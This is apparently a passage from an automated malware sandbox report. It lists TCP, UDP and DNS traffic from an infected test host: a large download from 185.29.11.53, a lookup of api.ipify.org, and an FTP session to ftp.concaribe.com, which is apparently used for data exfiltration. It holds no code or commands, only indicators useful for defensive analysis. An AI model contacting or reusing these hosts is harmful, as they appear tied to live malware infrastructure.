Sep 25, 2024 16:00:07.891594887 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.891769886 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.891863108 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.891877890 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.891896963 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.891908884 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.892011881 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.897542953 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.897557974 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.897573948 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.897696018 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.897700071 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.897712946 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.897732019 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.897819996 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.897955894 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.898206949 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.898221970 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.898236990 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.898310900 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.898349047 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.898607016 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.898672104 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.898684025 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.898695946 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.898713112 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.898730040 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.898802042 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.898844957 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.899576902 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.899679899 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.972157001 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.972353935 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.972368956 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.972376108 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.972384930 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.972400904 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.972439051 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.972562075 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.972640991 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.972656012 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.972673893 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.972690105 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.972733974 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.972785950 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.978339911 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.978354931 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.978378057 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.978394032 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.978487968 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.978487968 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.978605986 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.978621960 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.978646994 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.978662968 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.978681087 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.978697062 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.978746891 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.978746891 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.978846073 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.979526043 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.979541063 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.979556084 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.979572058 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.979609966 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.979708910 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.984179020 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.984193087 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.984285116 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.984303951 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.984319925 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.984335899 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.984354019 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.984370947 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.984386921 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.984394073 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.984455109 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.984491110 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.985224009 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.985239029 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.985347033 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.985352039 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.985441923 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.985461950 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.985517025 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.986048937 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.986074924 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.986093044 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.986109018 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.986125946 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.986217022 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.986217022 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.986382961 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.986397982 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.986414909 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.986429930 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:07.986495018 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:07.986536026 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.052654982 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.052684069 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.052700043 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.052766085 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.052783966 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.052800894 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.052817106 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.052834034 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.052838087 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.052969933 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.059015036 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059031963 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059047937 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059066057 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059082985 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059143066 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.059199095 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.059211969 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059227943 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059245110 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059262037 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059279919 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.059334040 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.059649944 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059664011 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059679031 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059695959 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.059724092 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.059776068 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.065258026 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065273046 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065289021 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065306902 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065323114 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065336943 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.065339088 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065399885 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.065582991 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065598965 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065617085 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065660000 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.065707922 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.065742016 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065757036 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065772057 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065788984 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065805912 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.065841913 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.065920115 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.066586018 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.066660881 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.066710949 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.066781998 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.071055889 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071070910 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071089983 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071115017 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071130991 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071142912 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.071145058 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071161985 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071177959 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071232080 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.071513891 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071527958 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071552992 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071571112 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071584940 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.071588039 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071603060 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071620941 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071639061 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.071641922 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.071695089 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.072417021 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.072432995 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.072447062 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.072474957 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.072490931 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.072498083 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.072508097 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.072524071 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.072541952 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.072551012 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.072614908 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.073307037 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.073345900 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.073363066 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.073384047 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.073414087 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.073430061 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.073445082 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.073462009 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.073465109 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.073479891 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.073553085 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.074270964 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.074286938 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.074301958 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.074348927 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.074352026 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.074368954 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.074384928 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.074399948 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.074479103 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.139307976 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139322996 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139348030 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139364004 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139378071 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139401913 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139417887 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139440060 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.139563084 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.139647961 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139662981 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139689922 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139704943 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139718056 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.139723063 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139781952 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.139934063 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.139997959 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.140007019 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.140014887 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.140032053 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.140099049 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.145642996 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.145658970 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.145673990 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.145715952 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.145734072 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.145760059 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.145782948 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.145798922 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.145817995 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.145833969 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.145843983 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.145905972 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.146132946 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146158934 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146199942 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146202087 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.146226883 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146243095 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146286011 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.146363974 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.146413088 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146429062 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146454096 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146469116 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146486044 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146498919 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.146589041 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.146708012 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146783113 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146785975 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.146797895 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146822929 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146836996 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146852016 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146867037 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146868944 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.146884918 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.146972895 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.151839018 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.151889086 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.151904106 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.151947021 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.151956081 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.151962996 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.151978970 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.152024031 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.152089119 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.152107954 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.152148008 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.152163982 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.152179003 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.152194977 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.152219057 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.152240992 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.152318001 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.152431965 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.152446985 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.152463913 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.152481079 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.152494907 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.152498007 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.152510881 CEST	80	49720	185.29.11.53	192.168.2.6
Sep 25, 2024 16:00:08.152585983 CEST	49720	80	192.168.2.6	185.29.11.53
Sep 25, 2024 16:00:08.506402016 CEST	49721	443	192.168.2.6	104.26.13.205
Sep 25, 2024 16:00:08.506498098 CEST	443	49721	104.26.13.205	192.168.2.6
Sep 25, 2024 16:00:08.506572962 CEST	49721	443	192.168.2.6	104.26.13.205
Sep 25, 2024 16:00:08.526599884 CEST	49721	443	192.168.2.6	104.26.13.205
Sep 25, 2024 16:00:08.526633024 CEST	443	49721	104.26.13.205	192.168.2.6
Sep 25, 2024 16:00:09.004230022 CEST	443	49721	104.26.13.205	192.168.2.6
Sep 25, 2024 16:00:09.004317045 CEST	49721	443	192.168.2.6	104.26.13.205
Sep 25, 2024 16:00:09.006454945 CEST	49721	443	192.168.2.6	104.26.13.205
Sep 25, 2024 16:00:09.006484985 CEST	443	49721	104.26.13.205	192.168.2.6
Sep 25, 2024 16:00:09.006731987 CEST	443	49721	104.26.13.205	192.168.2.6
Sep 25, 2024 16:00:09.048409939 CEST	49721	443	192.168.2.6	104.26.13.205
Sep 25, 2024 16:00:09.072299957 CEST	49721	443	192.168.2.6	104.26.13.205
Sep 25, 2024 16:00:09.119396925 CEST	443	49721	104.26.13.205	192.168.2.6
Sep 25, 2024 16:00:09.196199894 CEST	443	49721	104.26.13.205	192.168.2.6
Sep 25, 2024 16:00:09.196245909 CEST	443	49721	104.26.13.205	192.168.2.6
Sep 25, 2024 16:00:09.196366072 CEST	49721	443	192.168.2.6	104.26.13.205
Sep 25, 2024 16:00:09.200490952 CEST	49721	443	192.168.2.6	104.26.13.205
Sep 25, 2024 16:00:10.607628107 CEST	49722	21	192.168.2.6	192.185.13.234
Sep 25, 2024 16:00:10.612454891 CEST	21	49722	192.185.13.234	192.168.2.6
Sep 25, 2024 16:00:10.612524986 CEST	49722	21	192.168.2.6	192.185.13.234
Sep 25, 2024 16:00:10.615166903 CEST	49722	21	192.168.2.6	192.185.13.234
Sep 25, 2024 16:00:10.620038986 CEST	21	49722	192.185.13.234	192.168.2.6
Sep 25, 2024 16:00:10.620094061 CEST	49722	21	192.168.2.6	192.185.13.234

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 16:00:08.488486052 CEST	50360	53	192.168.2.6	1.1.1.1
Sep 25, 2024 16:00:08.496692896 CEST	53	50360	1.1.1.1	192.168.2.6
Sep 25, 2024 16:00:10.289800882 CEST	58636	53	192.168.2.6	1.1.1.1
Sep 25, 2024 16:00:10.605891943 CEST	53	58636	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 16:00:08.488486052 CEST	192.168.2.6	1.1.1.1	0xf2de	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:00:10.289800882 CEST	192.168.2.6	1.1.1.1	0x5671	Standard query (0)	ftp.concaribe.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 16:00:08.496692896 CEST	1.1.1.1	192.168.2.6	0xf2de	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:00:08.496692896 CEST	1.1.1.1	192.168.2.6	0xf2de	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:00:08.496692896 CEST	1.1.1.1	192.168.2.6	0xf2de	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:00:10.605891943 CEST	1.1.1.1	192.168.2.6	0x5671	No error (0)	ftp.concaribe.com	concaribe.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 25, 2024 16:00:10.605891943 CEST	1.1.1.1	192.168.2.6	0x5671	No error (0)	concaribe.com		192.185.13.234	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

185.29.11.53

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
